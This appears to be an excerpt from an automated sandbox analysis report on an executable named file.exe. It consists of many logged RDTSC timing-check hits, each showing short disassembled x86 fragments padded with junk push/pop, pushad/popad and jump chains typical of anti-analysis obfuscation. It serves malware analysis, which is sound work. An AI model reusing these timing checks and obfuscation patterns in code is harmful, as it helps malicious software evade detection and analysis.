Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B02E0 second address: 49B02E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B02E6 second address: 49B02FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF473Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B02FF second address: 49B031C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B031C second address: 49B0322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0322 second address: 49B0346 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov edx, 77D8974Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 mov bh, 69h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0346 second address: 49B034A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B034A second address: 49B0384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F39B4C7E9BBh 0x00000011 sub ecx, 38BA5A9Eh 0x00000017 jmp 00007F39B4C7E9C9h 0x0000001c popfd 0x0000001d push ecx 0x0000001e pop edx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0384 second address: 49B0389 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0389 second address: 49B03A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, di 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F39B4C7E9BEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B03A5 second address: 49B03F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F39B4DF4741h 0x00000008 mov ax, 0537h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f sub esp, 2Ch 0x00000012 pushad 0x00000013 mov ecx, 7BA8642Fh 0x00000018 pushfd 0x00000019 jmp 00007F39B4DF4744h 0x0000001e xor esi, 74D5F158h 0x00000024 jmp 00007F39B4DF473Bh 0x00000029 popfd 0x0000002a popad 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B03F8 second address: 49B03FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B03FC second address: 49B0417 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF4747h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0417 second address: 49B0462 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 mov eax, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F39B4C7E9BCh 0x00000010 xchg eax, ebx 0x00000011 jmp 00007F39B4C7E9C0h 0x00000016 xchg eax, edi 0x00000017 jmp 00007F39B4C7E9C0h 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F39B4C7E9BDh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0462 second address: 49B0477 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF4741h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0477 second address: 49B0487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B4C7E9BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0487 second address: 49B048B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B04EE second address: 49B04F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B04F2 second address: 49B04F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B04F8 second address: 49B04FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B04FE second address: 49B05EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub edi, edi 0x0000000a pushad 0x0000000b mov ebx, 590787D4h 0x00000010 mov bx, 4D40h 0x00000014 popad 0x00000015 inc ebx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F39B4DF4745h 0x0000001d add si, 8946h 0x00000022 jmp 00007F39B4DF4741h 0x00000027 popfd 0x00000028 popad 0x00000029 test al, al 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F39B4DF4748h 0x00000032 or si, 4918h 0x00000037 jmp 00007F39B4DF473Bh 0x0000003c popfd 0x0000003d call 00007F39B4DF4748h 0x00000042 call 00007F39B4DF4742h 0x00000047 pop eax 0x00000048 pop edx 0x00000049 popad 0x0000004a je 00007F39B4DF49E1h 0x00000050 pushad 0x00000051 call 00007F39B4DF473Ch 0x00000056 mov si, A531h 0x0000005a pop eax 0x0000005b pushfd 0x0000005c jmp 00007F39B4DF4747h 0x00000061 jmp 00007F39B4DF4743h 0x00000066 popfd 0x00000067 popad 0x00000068 lea ecx, dword ptr [ebp-14h] 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B05EB second address: 49B05EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B05EF second address: 49B060A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF4747h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B060A second address: 49B0622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B4C7E9C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0622 second address: 49B0626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B06C1 second address: 49B06C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B06C7 second address: 49B06F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF473Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F39B4DF4748h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B06F7 second address: 49B06FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B06FB second address: 49B0701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0701 second address: 49B0707 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0707 second address: 49B070B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B074B second address: 49B075A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B075A second address: 49B0760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0760 second address: 49B07BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F3A26C2C6D1h 0x00000011 jmp 00007F39B4C7E9C6h 0x00000016 js 00007F39B4C7EA71h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F39B4C7E9BDh 0x00000025 or esi, 584F9F46h 0x0000002b jmp 00007F39B4C7E9C1h 0x00000030 popfd 0x00000031 push esi 0x00000032 pop edi 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B07BF second address: 49B0804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF473Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F39B4DF4746h 0x00000015 jmp 00007F39B4DF4745h 0x0000001a popfd 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0804 second address: 49B087B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F3A26C2C638h 0x0000000f pushad 0x00000010 call 00007F39B4C7E9BCh 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 pushfd 0x00000019 jmp 00007F39B4C7E9C1h 0x0000001e jmp 00007F39B4C7E9BBh 0x00000023 popfd 0x00000024 popad 0x00000025 mov ebx, dword ptr [ebp+08h] 0x00000028 pushad 0x00000029 call 00007F39B4C7E9C4h 0x0000002e mov ecx, 1CD04D81h 0x00000033 pop esi 0x00000034 mov ebx, 2A3A56B2h 0x00000039 popad 0x0000003a lea eax, dword ptr [ebp-2Ch] 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B087B second address: 49B087F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B087F second address: 49B0883 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0883 second address: 49B0889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0889 second address: 49B08EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F39B4C7E9BCh 0x00000011 xor cx, E2F8h 0x00000016 jmp 00007F39B4C7E9BBh 0x0000001b popfd 0x0000001c mov dx, ax 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F39B4C7E9BEh 0x0000002a jmp 00007F39B4C7E9C5h 0x0000002f popfd 0x00000030 mov di, ax 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B08EB second address: 49B090C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, BC1Eh 0x00000007 call 00007F39B4DF473Fh 0x0000000c pop esi 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B090C second address: 49B0910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0910 second address: 49B0914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0914 second address: 49B091A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B091A second address: 49B0920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0920 second address: 49B0924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0924 second address: 49B0985 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov cl, 35h 0x0000000c jmp 00007F39B4DF4749h 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 pushad 0x00000016 mov ah, 47h 0x00000018 popad 0x00000019 push eax 0x0000001a pushad 0x0000001b mov si, 15FDh 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F39B4DF4748h 0x00000026 and esi, 5DCB5608h 0x0000002c jmp 00007F39B4DF473Bh 0x00000031 popfd 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B09D3 second address: 49B09D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B09D9 second address: 49B09DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B09DD second address: 49B0023 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F39B4C7E9C7h 0x0000000f je 00007F3A26C2C60Dh 0x00000015 xor eax, eax 0x00000017 jmp 00007F39B4C580EAh 0x0000001c pop esi 0x0000001d pop edi 0x0000001e pop ebx 0x0000001f leave 0x00000020 retn 0004h 0x00000023 nop 0x00000024 cmp eax, 00000000h 0x00000027 setne cl 0x0000002a xor ebx, ebx 0x0000002c test cl, 00000001h 0x0000002f jne 00007F39B4C7E9B7h 0x00000031 jmp 00007F39B4C7EB2Bh 0x00000036 call 00007F39B93F7C55h 0x0000003b mov edi, edi 0x0000003d jmp 00007F39B4C7E9C1h 0x00000042 xchg eax, ebp 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F39B4C7E9BDh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0023 second address: 49B005D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F39B4DF4747h 0x00000009 and cl, FFFFFFBEh 0x0000000c jmp 00007F39B4DF4749h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B005D second address: 49B006A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B006A second address: 49B0072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx esi, bx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0072 second address: 49B008D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B4C7E9C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B008D second address: 49B00E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF4749h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F39B4DF473Eh 0x00000011 mov ebp, esp 0x00000013 jmp 00007F39B4DF4740h 0x00000018 xchg eax, ecx 0x00000019 jmp 00007F39B4DF4740h 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B00E5 second address: 49B00E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B00E9 second address: 49B00EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B00EF second address: 49B0141 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F39B4C7E9C6h 0x0000000f mov dword ptr [ebp-04h], 55534552h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F39B4C7E9BDh 0x0000001f jmp 00007F39B4C7E9BBh 0x00000024 popfd 0x00000025 movzx ecx, di 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0141 second address: 49B0147 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B015C second address: 49B0162 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0162 second address: 49B0166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0166 second address: 49B016A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B016A second address: 49B017C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 pushad 0x0000000a movzx esi, dx 0x0000000d pushad 0x0000000e mov cl, dl 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B017C second address: 49B0D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 ret 0x00000007 nop 0x00000008 and bl, 00000001h 0x0000000b movzx eax, bl 0x0000000e lea esp, dword ptr [ebp-0Ch] 0x00000011 pop esi 0x00000012 pop edi 0x00000013 pop ebx 0x00000014 pop ebp 0x00000015 ret 0x00000016 add esp, 04h 0x00000019 jmp dword ptr [0024A41Ch+ebx*4] 0x00000020 push edi 0x00000021 call 00007F39B4CA43B7h 0x00000026 push ebp 0x00000027 push ebx 0x00000028 push edi 0x00000029 push esi 0x0000002a sub esp, 000001D0h 0x00000030 mov dword ptr [esp+000001B4h], 0024CB10h 0x0000003b mov dword ptr [esp+000001B0h], 000000D0h 0x00000046 mov dword ptr [esp], 00000000h 0x0000004d mov eax, dword ptr [002481DCh] 0x00000052 call eax 0x00000054 mov edi, edi 0x00000056 pushad 0x00000057 pushfd 0x00000058 jmp 00007F39B4C7E9BEh 0x0000005d adc esi, 33853FD8h 0x00000063 jmp 00007F39B4C7E9BBh 0x00000068 popfd 0x00000069 mov cx, B68Fh 0x0000006d popad 0x0000006e xchg eax, ebp 0x0000006f jmp 00007F39B4C7E9C2h 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 push eax 0x00000078 push edx 0x00000079 pushad 0x0000007a popad 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0D72 second address: 49B0D76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0D76 second address: 49B0D7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0D7C second address: 49B0DDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF473Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F39B4DF4746h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F39B4DF473Eh 0x00000018 jmp 00007F39B4DF4745h 0x0000001d popfd 0x0000001e movzx eax, dx 0x00000021 popad 0x00000022 cmp dword ptr [769B459Ch], 05h 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0DDC second address: 49B0E35 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F39B4C7E9C2h 0x00000008 sbb cl, FFFFFF88h 0x0000000b jmp 00007F39B4C7E9BBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov bx, cx 0x00000016 popad 0x00000017 je 00007F3A26C1C5AFh 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F39B4C7E9C0h 0x00000024 adc ecx, 6C595AE8h 0x0000002a jmp 00007F39B4C7E9BBh 0x0000002f popfd 0x00000030 push eax 0x00000031 push edx 0x00000032 movzx eax, dx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0729 second address: 49D0730 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0730 second address: 49D07F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 jmp 00007F39B4C7E9C4h 0x0000000d mov dword ptr [esp], ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F39B4C7E9BEh 0x00000017 add si, 05A8h 0x0000001c jmp 00007F39B4C7E9BBh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F39B4C7E9C8h 0x00000028 add ecx, 1C0E7808h 0x0000002e jmp 00007F39B4C7E9BBh 0x00000033 popfd 0x00000034 popad 0x00000035 mov ebp, esp 0x00000037 jmp 00007F39B4C7E9C6h 0x0000003c xchg eax, esi 0x0000003d pushad 0x0000003e jmp 00007F39B4C7E9BEh 0x00000043 mov ebx, ecx 0x00000045 popad 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a pushfd 0x0000004b jmp 00007F39B4C7E9C8h 0x00000050 xor eax, 114B97F8h 0x00000056 jmp 00007F39B4C7E9BBh 0x0000005b popfd 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D07F7 second address: 49D083C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF4744h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F39B4DF4740h 0x0000000f mov esi, dword ptr [ebp+0Ch] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F39B4DF4747h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D083C second address: 49D086B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c mov bl, cl 0x0000000e popad 0x0000000f je 00007F3A26BFC50Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D086B second address: 49D086F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D086F second address: 49D0875 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0875 second address: 49D08D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF473Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [769B459Ch], 05h 0x00000010 jmp 00007F39B4DF4746h 0x00000015 je 00007F3A26D8A328h 0x0000001b jmp 00007F39B4DF4740h 0x00000020 xchg eax, esi 0x00000021 pushad 0x00000022 jmp 00007F39B4DF473Eh 0x00000027 mov ecx, 279EE611h 0x0000002c popad 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
